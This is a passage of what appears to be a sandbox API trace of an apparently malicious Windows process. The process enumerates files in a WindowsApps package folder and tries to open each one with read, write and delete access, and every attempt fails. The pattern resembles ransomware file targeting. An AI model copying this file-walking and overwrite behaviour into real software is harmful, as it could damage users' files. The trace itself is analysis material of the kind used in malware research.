	[0091.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a568) returned 1

Thread:
	id = 854
	os_tid = 0x12b8

	[0082.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481bce8
	[0082.046] wcscpy (in: _Dest=0x481bce8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe"
	[0082.046] wcscat (in: _Dest=0x481bce8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\"
	[0082.046] wcscat (in: _Dest=0x481bce8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*"
	[0082.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47100c0
	[0082.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0a85441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b9575e3, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a71d0
	[0082.047] wcscmp (_String1=".", _String2=".") returned 0
	[0082.047] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0a85441, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b9575e3, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.048] wcscmp (_String1="..", _String2=".") returned 1
	[0082.048] wcscmp (_String1="..", _String2="..") returned 0
	[0082.048] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eace405, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe34, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.048] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.048] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a5a40
	[0082.048] wcscpy (in: _Dest=0x46a5a40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe"
	[0082.048] wcscat (in: _Dest=0x46a5a40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\"
	[0082.048] wcscat (in: _Dest=0x46a5a40, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.183] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.183] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.183] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.183] GetLastError () returned 0x5
	[0091.183] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5a40) returned 1
	[0091.183] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eace405, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.183] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.183] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12ab8
	[0091.184] wcscpy (in: _Dest=0x2e12ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe"
	[0091.184] wcscat (in: _Dest=0x2e12ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\"
	[0091.184] wcscat (in: _Dest=0x2e12ab8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0091.184] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0091.187] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.187] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.187] GetLastError () returned 0x5
	[0091.187] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0091.187] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0a862ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.187] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.187] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4717c00
	[0091.187] wcscpy (in: _Dest=0x4717c00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe"
	[0091.187] wcscat (in: _Dest=0x4717c00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\"
	[0091.187] wcscat (in: _Dest=0x4717c00, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717990
	[0091.188] wcscpy (in: _Dest=0x4717990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.188] wcscat (in: _Dest=0x4717990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.188] wcscat (in: _Dest=0x4717990, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0091.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0091.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0a862ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afa8
	[0091.188] wcscmp (_String1=".", _String2=".") returned 0
	[0091.188] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0a862ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.188] wcscmp (_String1="..", _String2=".") returned 1
	[0091.188] wcscmp (_String1="..", _String2="..") returned 0
	[0091.188] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eace405, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0091.188] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0091.188] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0091.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491e708
	[0091.188] wcscpy (in: _Dest=0x491e708, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.188] wcscat (in: _Dest=0x491e708, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.188] wcscat (in: _Dest=0x491e708, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.188] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.192] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.192] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.193] GetLastError () returned 0x5
	[0091.193] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e708) returned 1
	[0091.193] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eace405, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.193] FindClose (in: hFindFile=0x477afa8 | out: hFindFile=0x477afa8) returned 1
	[0091.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0091.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717990) returned 1
	[0091.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717c00) returned 1
	[0091.194] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eace405, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x289e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.194] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.194] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12d40
	[0091.194] wcscpy (in: _Dest=0x2e12d40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe"
	[0091.194] wcscat (in: _Dest=0x2e12d40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\"
	[0091.194] wcscat (in: _Dest=0x2e12d40, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.194] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.194] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.194] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.194] GetLastError () returned 0x5
	[0091.194] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12d40) returned 1
	[0091.194] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eace405, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eace405, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eace405, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x203, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0091.194] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0091.194] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0091.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x49260d0
	[0091.194] wcscpy (in: _Dest=0x49260d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe"
	[0091.195] wcscat (in: _Dest=0x49260d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\"
	[0091.195] wcscat (in: _Dest=0x49260d0, _Source="logo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png"
	[0091.195] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png")) returned 0x20
	[0091.197] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0091.197] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.197] GetLastError () returned 0x5
	[0091.198] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0091.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49260d0) returned 1
	[0091.198] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5b9575e3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.198] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.198] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491cb98
	[0091.198] wcscpy (in: _Dest=0x491cb98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe"
	[0091.198] wcscat (in: _Dest=0x491cb98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\"
	[0091.198] wcscat (in: _Dest=0x491cb98, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776b60
	[0091.198] wcscpy (in: _Dest=0x4776b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
